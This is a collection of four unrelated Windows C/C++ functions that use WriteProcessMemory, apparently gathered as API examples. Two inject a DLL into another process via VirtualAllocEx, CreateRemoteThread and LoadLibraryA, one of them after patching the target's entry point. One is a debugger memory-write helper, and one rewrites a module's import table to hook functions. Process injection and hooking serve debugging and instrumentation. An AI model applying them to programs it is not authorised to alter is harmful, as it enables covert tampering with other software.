int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { SECURITY_ATTRIBUTES sa; sa.bInheritHandle = true; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; if (!IsWow64()) return 1; if (!CString(lpCmdLine).IsEmpty()) pidToAttach = atoi(lpCmdLine); HMODULE hKernel32 = LoadLibrary("KERNEL32.DLL"); pfnLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, ("LoadLibraryA")); char *pDataRemote = 0; DWORD numBytes = 0; HANDLE fledgeProcess = NULL; int numTries = 30; while (numTries) { EnumWindows(FindFledge, pidToAttach); if (fledgeWindow != NULL) break; Sleep(1000); numTries--; } if (fledgeWindow == NULL) return 1; GetWindowThreadProcessId(fledgeWindow, &pidToAttach); fledgeProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pidToAttach); CStringA curDir; GetCurrentDirectoryA(MAX_PATH, curDir.GetBuffer(MAX_PATH + 1)); CString param = curDir.GetBuffer(); param.Append("\\"); param.Append(HOOK_DLLNAME); pDataRemote = (char*) VirtualAllocEx(fledgeProcess, 0, param.GetAllocLength(), MEM_COMMIT, PAGE_READWRITE); if (pDataRemote == NULL) return 1; if (!WriteProcessMemory(fledgeProcess, pDataRemote, param.GetBuffer(), param.GetAllocLength(), &numBytes)) return 1; DWORD threadID; HANDLE fledgeThread = CreateRemoteThread(fledgeProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pfnLoadLibrary, pDataRemote, 0, &threadID); CStringA eventName; eventName.Format("%s%d", "Global\\FledgeHook", pidToAttach); HANDLE hEvent = CreateEventA(NULL, false, false, eventName); WaitForSingleObject(hEvent, INFINITE); DWORD WM_FLEDGEHOOKDATA = RegisterWindowMessageA("FledgeHookDataEvent"); PostThreadMessageA(threadID, WM_FLEDGEHOOKDATA, 0, (LPARAM)fledgeWindow); curDir.ReleaseBuffer(); param.ReleaseBuffer(); CloseHandle(fledgeProcess); return 0; }
static int w32dbg_write_at(RIOW32Dbg *dbg, const ut8 *buf, int len, ut64 addr) { SIZE_T ret; return 0 != WriteProcessMemory (dbg->pi.hProcess, (void *)(size_t)addr, buf, len, &ret)? len: 0; }
int main(int argc,char **argv) { parseArgs(argc, argv); SIZE_T bW = 0, bR = 0; char *exeInput = (char *)malloc(MAX_PATH); char *dllInput = (char *)malloc(MAX_PATH); char *wdrInput = (char *)malloc(MAX_PATH); memset(exeInput,0,MAX_PATH); memset(dllInput,0,MAX_PATH); memset(wdrInput,0,MAX_PATH); if (opMode == OPMODE_LIST) { listProcesses(stringToMatch); return 0; } else if(opMode == OPMODE_INJECT) { if (globalDll == NULL) { printf(" [dll] > "); fgets(dllInput,MAX_PATH,stdin); } else { strcpy(dllInput,globalDll); } injectIntoProcess(globalInject,dllInput); return 0; } if (globalTest) { strcpy(exeInput,"test.exe"); strcpy(dllInput,"shackle.dll"); strcpy(wdrInput,"c:\\projects\\elegurawolfe\\"); } else if(globalExeName == NULL || globalWorkingDirectory == NULL || globalDll == NULL) { // printf("* SOMETHING MISSING %08x%08x%08x\n", (unsigned long )globalExeName, (unsigned long )globalWorkingDirectory, (unsigned long )globalDll); printf(" [exe] > "); fgets(exeInput,MAX_PATH,stdin); if (globalDll == NULL) { printf(" [dll] > "); fgets(dllInput,MAX_PATH,stdin); } else { strcpy(dllInput,globalDll); } printf(" [wdr] > "); fgets(wdrInput,MAX_PATH,stdin); chomp(exeInput); chomp(dllInput); chomp(wdrInput); } else { strcpy(exeInput,globalExeName); strcpy(dllInput,globalDll); strcpy(wdrInput,globalWorkingDirectory); } if (exists(exeInput) == 0) { printf(" [FAIL-EXE] %s does not exist\n",exeInput); return 0; } if(exists(dllInput) == 0) { printf(" [FAIL-DLL] %s does not exist\n",dllInput); return 0; } PROCESS_INFORMATION pi; STARTUPINFO si; memset (&pi,0,sizeof(PROCESS_INFORMATION)); memset (&si, 0, sizeof (STARTUPINFO)); si.cb = sizeof(si); HANDLE hNtDll = LoadLibrary("ntdll.dll"); NtQueryInformationProcess = (_NtQueryInformationProcess )(GetProcAddress( (HMODULE )hNtDll, "NtQueryInformationProcess")); HANDLE hKernel = LoadLibrary("kernel32.dll"); LPVOID addrLoadLibrary = GetProcAddress( (HMODULE )hKernel, "LoadLibraryA"); BOOL derp = CreateProcess(exeInput, exeInput, NULL, NULL, FALSE, CREATE_SUSPENDED + CREATE_NEW_CONSOLE, NULL, wdrInput, &si, &pi); if (derp == NULL) { char *errorMessage; FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER + FORMAT_MESSAGE_FROM_SYSTEM, 0, GetLastError (), 0, (char *) &errorMessage, 1, NULL); printf (" [FAIL] %s", errorMessage); return 0; } HANDLE hProcess = pi.hProcess; HANDLE hThread = pi.hThread; globalPid = pi.dwProcessId; printf(" * [INFO] new process id is %d\n",pi.dwProcessId); #if ARCHI == 64 BOOL wow64 = FALSE; IsWow64Process(hProcess,&wow64); if (wow64 == TRUE) { IsDll64Bit(globalDll); printf(" [WARN] injecting into wow64 "); } #endif printf(" [INFO] process handle is %08x\n",(unsigned long )hProcess); PROCESS_BASIC_INFORMATION pib; PEB_ARCHI globalPEB; NtQueryInformationProcess (hProcess, 0, (PVOID )(&pib), sizeof (pib),& bW); printf(" [INFO] pib.PebBaseAddress = 0x%p (size of field is %d)\n", pib.PebBaseAddress, sizeof(pib.PebBaseAddress)); ReadProcessMemory (hProcess, pib.PebBaseAddress, &globalPEB, sizeof (globalPEB), &bR); if (bR != sizeof (globalPEB)) { char *errorMessage; FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER + FORMAT_MESSAGE_FROM_SYSTEM, 0, GetLastError (), 0, (char *) &errorMessage, 1, NULL); printf (" [FAIL] %s", errorMessage); return 0; } printf(" [INFO] peb.ImageBaseAddress = %p\n", (void *)(globalPEB.ImageBaseAddress)); UINT_PTR entryPoint = guessExecutableEntryPoint (hProcess, globalPEB.ImageBaseAddress); printf(" [INFO] entryPoint = 0x%8x\n", entryPoint); char oldEntryChars[2]; DWORD oldProtect = 0; DWORD discardProtect = 0; VirtualProtectEx(hProcess,(LPVOID )entryPoint,1, PAGE_READWRITE, &oldProtect); ReadProcessMemory(hProcess,(LPCVOID )entryPoint,(char *)oldEntryChars,2,&bR); printf(" [INFO] old entry is %02x %02x\n", (unsigned char )oldEntryChars[0],(unsigned char )oldEntryChars[1]); printf(" [INFO] writing...\n"); WriteProcessMemory(hProcess,(LPVOID )entryPoint,"\xEB\xFE",2,&bW); VirtualProtectEx(hProcess,(LPVOID )entryPoint,1,oldProtect,&discardProtect); char newEntryChars[2]; ReadProcessMemory(hProcess,(LPCVOID )entryPoint,(char *)newEntryChars,2,&bR); if (newEntryChars[0] == '\xEB' && newEntryChars[1] == '\xFE') { printf(" [INFO] new entry is %02x %02x\n", (unsigned char )newEntryChars[0],(unsigned char )newEntryChars[1]); } else { printf(" [INFO] new entry is %02x %02x, something's wrong\n", (unsigned char )newEntryChars[0],(unsigned char )newEntryChars[1]); return 0; } CONTEXT context; context.ContextFlags = CONTEXT_FULL; GetThreadContext (hThread, &context); context.PC_REG = entryPoint; SetThreadContext(hThread,&context); ResumeThread(pi.hThread); LPVOID remoteMemory = VirtualAllocEx(hProcess,NULL,strlen(dllInput) + 1,MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE); WriteProcessMemory(hProcess,(LPVOID )remoteMemory,dllInput,strlen(dllInput) + 1,&bW); printf(" [INFO] trying to create a remote thread at %08x\n",(unsigned long )addrLoadLibrary); char *dllOutput = (char *)malloc(MAX_PATH); memset(dllOutput,0,MAX_PATH); ReadProcessMemory(hProcess,(LPCVOID )remoteMemory,dllOutput,MAX_PATH,&bR); printf(" [INFO] confirming process has cave with \"%s\"\n",dllOutput); free(dllOutput); if(globalWait) { printf(" [WAIT] press any key to create remote thread...\n"); getc(stdin); } HANDLE threadId = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE )addrLoadLibrary,remoteMemory,NULL,NULL); if (threadId == NULL) { printf(" [INFO] could not create remote thread\n"); return 0; } else { WaitForSingleObject(threadId, INFINITE); //this waits untill thread thread has finished // VirtualFree(remoteMemory, 0, MEM_RELEASE); //free myFunc memory CloseHandle(threadId); // CloseHandle(hProcess); } int i = globalCooldown; for (; i > 0; i--) { printf(" [INFO] waiting %d seconds\n",i); Sleep(1000); } printf(" [INFO] restoring entrypoint...\n"); SuspendThread(pi.hThread); VirtualProtectEx(hProcess,(LPVOID )entryPoint,1, PAGE_READWRITE, &oldProtect); i = WriteProcessMemory(hProcess,(LPVOID )entryPoint,(char *)&oldEntryChars,2,&bW); if (i == 0) { char *errorMessage; FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER + FORMAT_MESSAGE_FROM_SYSTEM, 0, GetLastError (), 0, (char *) &errorMessage, 1, NULL); printf (" [FAIL] %s", errorMessage); return 0; } ReadProcessMemory(hProcess,(LPCVOID )entryPoint,(char *)newEntryChars,2,&bR); VirtualProtectEx(hProcess,(LPVOID )entryPoint,1, oldProtect, &discardProtect); printf(" [INFO] entry restored to %02x %02x\n", (unsigned char )newEntryChars[0],(unsigned char )newEntryChars[1]); GetThreadContext (hThread, &context); context.PC_REG = entryPoint; SetThreadContext(hThread,&context); ResumeThread(pi.hThread); printf(" [INFO] bye!"); free(exeInput); free(dllInput); free(wdrInput); return 0; }
PRBool DHWImportHooker::PatchOneModule(HMODULE aModule, const char* name) { if(aModule == mIgnoreModule) { return PR_TRUE; } // do the fun stuff... PIMAGE_IMPORT_DESCRIPTOR desc; uint32 size; desc = (PIMAGE_IMPORT_DESCRIPTOR) dhwImageDirectoryEntryToData(aModule, PR_TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size); if(!desc) { return PR_TRUE; } for(; desc->Name; desc++) { const char* entryModuleName = (const char*) ((char*)aModule + desc->Name); if(!lstrcmpi(entryModuleName, mModuleName)) break; } if(!desc->Name) { return PR_TRUE; } PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA) ((char*) aModule + desc->FirstThunk); for(; thunk->u1.Function; thunk++) { PROC original; PROC replacement; if(mHooking) { original = mOriginal; replacement = mHook; } else { original = mHook; replacement = mOriginal; } PROC* ppfn = (PROC*) &thunk->u1.Function; if(*ppfn == original) { DWORD dwDummy; VirtualProtect(ppfn, sizeof(ppfn), PAGE_EXECUTE_READWRITE, &dwDummy); BOOL result = WriteProcessMemory(GetCurrentProcess(), ppfn, &replacement, sizeof(replacement), nsnull); if (!result) //failure { printf("failure name %s func %x\n",name,*ppfn); DWORD error = GetLastError(); return PR_TRUE; } else { // printf("success name %s func %x\n",name,*ppfn); DWORD filler = result+1; return result; } } } return PR_TRUE; }